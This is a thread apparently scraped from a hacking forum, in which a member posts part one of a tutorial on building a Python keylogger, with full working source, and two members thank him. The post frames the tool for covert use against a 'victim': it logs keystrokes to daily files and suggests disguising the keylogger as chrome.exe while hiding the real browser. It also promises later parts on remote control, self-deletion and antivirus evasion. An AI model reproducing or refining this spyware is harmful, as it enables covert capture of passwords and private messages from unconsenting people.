# Keylogger using Python |- Part-1
Today we are going to learn how to create a keylogger using Python. Part-1 We will use Python 3.9 to create this. First you have to get environment setup (this is important since we would have to late

var unreadAlerts = '1';
Welcome back, purely_cabbage. You last visited: Today, 06:36 AM Log Out
You have one unread private message from dkota titled Welcome to the Forum!
New Reply

Threaded Mode Keylogger using Python |- Part-1

trooper
Active Member
Posts:
39
Threads:
5
Joined:
Apr 2023
Reputation:
12
Credits: 5€ [Donate]
#1
04-21-2023, 12:05 AM
Today we are going to learn how to create a keylogger using Python. Part-1
We will use Python 3.9 to create this.
First you have to get environment setup (this is important since we would have to later pack it in .exe in the next part)
For that you have to make a directory then after installing python
run in cmd or terminal on linux
Code:
`python -m venv venv`
or
Code:
`python3 -m venv venv`
whichever works
then use this to activate the environment =>
Code:
`venv/Scripts/activate.bat`
on Windows
Code:
`source venv/bin/activate`
on Linux
Once you got your environment all setup, now we will get to business
I am assuming you all are already comfortable with using python because
if you are not comfortable then you have to learn python first before you
start eating this forbidden fruit.
This tut will only focus on the keylogger itself not on making it hidden or anything, we will talk about that in part-2 or 3.
So, we want a keylogger that records the keystrokes of our victim when he/she uses a browser since 90 percent of the time people are using browser on pc.
And we want it to save the strokes as .txt file in a way that is ready to processed later.
We will install the required module for this pynput with
Code:
`pip install pynput or pip3 install pynput`
Now we are all set. Let's understand the code then you can copy everything
below to your editor, make changes and boom your keylogger will work.
We will divide it into three classes (you must have knowledge of OOP), one that deals with writing a string buffer.
Second one that deals with the general keyboard characters, and the last one that is the logger itself.
In the Keylogger class we inherit Keys class so that we have all three char lists inside Keylogger class.
Then we will make methods kb_capture(self) and kb_release(self).
These methods define capturing and release of monitoring of keyboard and if
some key is pressed then what method will be called like on_press and on_release for example.
We will only use on_press for now.
BUFFER under the keylogger class defines the default value for our string buffer to which we are storing stroke's
raw value <100> or name value "k".
UPDATE_AFTER_CHAR_LENGTH = 0 tells after how much length of buffer the logger will write it down to the text file.
Also note there is one file every day for strokes of each day we are using datetime to get date for the file name only.
The subprocess module is used to launch a program that you want keylogger to launch that your victim will use while it runs in the back.
An Example of that would be chrome.exe. In theory, we have to hide keylogger in the directory of our program(Chrome)
and place keylogger.exe as chrome.exe and hide the real chrome.exe. So whenever chrome.exe (keylogger.exe) is run.
Our keylogger will start with it and log everything during the time browser was running.
In the on_press method, we have used certain list validation method (built-in) .index() to verify either words or numbers.
After that we check the length of our buffer and as per our need we keep writing it down.
We are also using this control flow to add special spaces that we can process later to build the log to full proper text report of the strokes.
Copy this and paste this into your editor and replace "program.exe" to any program, that you want to keep running while keylogger is active.
Make sure that program.exe is available in the current directory. (You can put any single .exe file to test this for now)
O- if you have any questions please reply to this thread
O- if you liked this tut reply this thread also
O- if you found this useful you have the option to send some XMR here
I will highly appreciate this, as I want to keep things free while getting some reward for my efforts as it takes time to make stuff like this.
// 461ejthTiPUBQKaxMGnpJ5eqr6i9EZVzr5Gu7m7RhUu5TLGkrx6rEwvE1ZrCVGNbkTR5d9cVaYAkNS4uMh4KZi6xGAEexjC //
Until Next Part !
We will discuss in the next parts =>
O- How to make it capture the chrome.exe or any .exe and encrypt it and keep it locked, do the same with updates etc. User will only be able to use the chrome through our chrome.exe.
O- How to make it communicate over the network and deliver, delete, and nuke itself from remote commands.
O- How to pack it as an .exe file.
O- How to host it freely on free services and get it without having to stick a USB in the victim's PC.
O- Handling anti-viruses and much more.
O- Common Hacking Scenarios
Code:
`from pynput import keyboard
from datetime import datetime
import subprocess
class Logging:
def log(self, text):
filename = f"log-" + str(datetime.now()).split(" ")[0] + ".txt"
with open(filename, 'a') as file:
file.write(" " + text)
class Keys:
ALPHABET_CHAR = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'q', 'w', 'x', 'y', 'z']
SPECIALS_CHAR = ['~','!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '+', '{','[', '}',']', '|', r"\\", ";", ":", "'", '"', "<", ",", ">", ".", "?", "/"]
NUMBERS_WHOLE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
class Keylogger(Keys):
BUFFER = ""
UPDATE_AFTER_CHAR_LENGTH = 0
def __init__(self) -> None:
self.Logger = Logging()
self._start()
program_process = subprocess.Popen("program.exe")
program_process.wait()
self._stop()
def _start(self):
self.K_ = keyboard.Listener(on_press=self.kb_capture, on_release=self.kb_release)
self.K_.start()
def _stop(self):
self.K_.stop()
def kb_release(self, key):
pass
def kb_capture(self, key):
try:
k = key.char
except:
k = key.name
if str(k) == "NoneType":
k = key
if str(k) == "None":
k = key
try:
self.ALPHABET_CHAR.index(k.lower())
self.BUFFER = self.BUFFER + str(k)
except Exception:
try:
self.NUMBERS_WHOLE.index(k)
self.BUFFER = self.BUFFER + str(k)
except Exception:
self.BUFFER = self.BUFFER + " " + str(k) + " "
if len(self.BUFFER) > self.UPDATE_AFTER_CHAR_LENGTH:
self.Logger.log(self.BUFFER)
self.BUFFER = ""
if __name__ == "__main__":
Keylogger()`
"It takes just one mistake before they get you, so no mistakes, stay focused"
PM Rate
Report
prince97
Administrator
Posts:
145
Threads:
36
Joined:
Feb 2023
Reputation:
49
Credits: 25.6€ [Donate]
View All
#2
04-21-2023, 12:15 AM
Good tutorial for inexperienced members, thanks!
If you have any questions, please PM dkota
PM Rate
Reply Quote //
jcole2244
Active Member
Posts:
39
Threads:
7
Joined:
Feb 2023
Reputation:
0
Credits: 6.53€ [Donate]
#3
04-22-2023, 02:41 PM
thanks really enjoyed the tutorial !
PM Rate
Reply Quote // Report

« Next Oldest | Next Newest »

New Reply

Quick Reply
Message Type your reply to this message here. Signature Disable Smilies | You have selected one or more posts to quote. Quote these posts now or deselect them.

Possibly Related Threads…
Thread | Author | Replies | Views | Last Post
| [FREE CODE] [Python] [PoC] SAST Low Hanging Fruit | notnotahacker | 3 | 246 | 06-10-2023, 07:39 PM Last Post: nullcat
| Pure assembly keylogger | KIARA | 3 | 186 | 05-25-2023, 05:26 PM Last Post: KIARA
| Destructive Lilith/ a Wiper I made using Python | lilithbathory | 0 | 171 | 05-04-2023, 11:12 PM Last Post: lilithbathory
| The art of malware - Part 0 | prince97 | 3 | 393 | 04-14-2023, 10:22 AM Last Post: EnvoyJazz

- Subscribe to this thread

Users browsing this thread: purely_cabbage
var thread_deleted = "0"; if(thread_deleted == "1") { $("#quick_reply_form, .new_reply_button, .thread_tools, .inline_rating").hide(); $("#moderator_options_selector option.option_mirage").attr("disabled","disabled"); }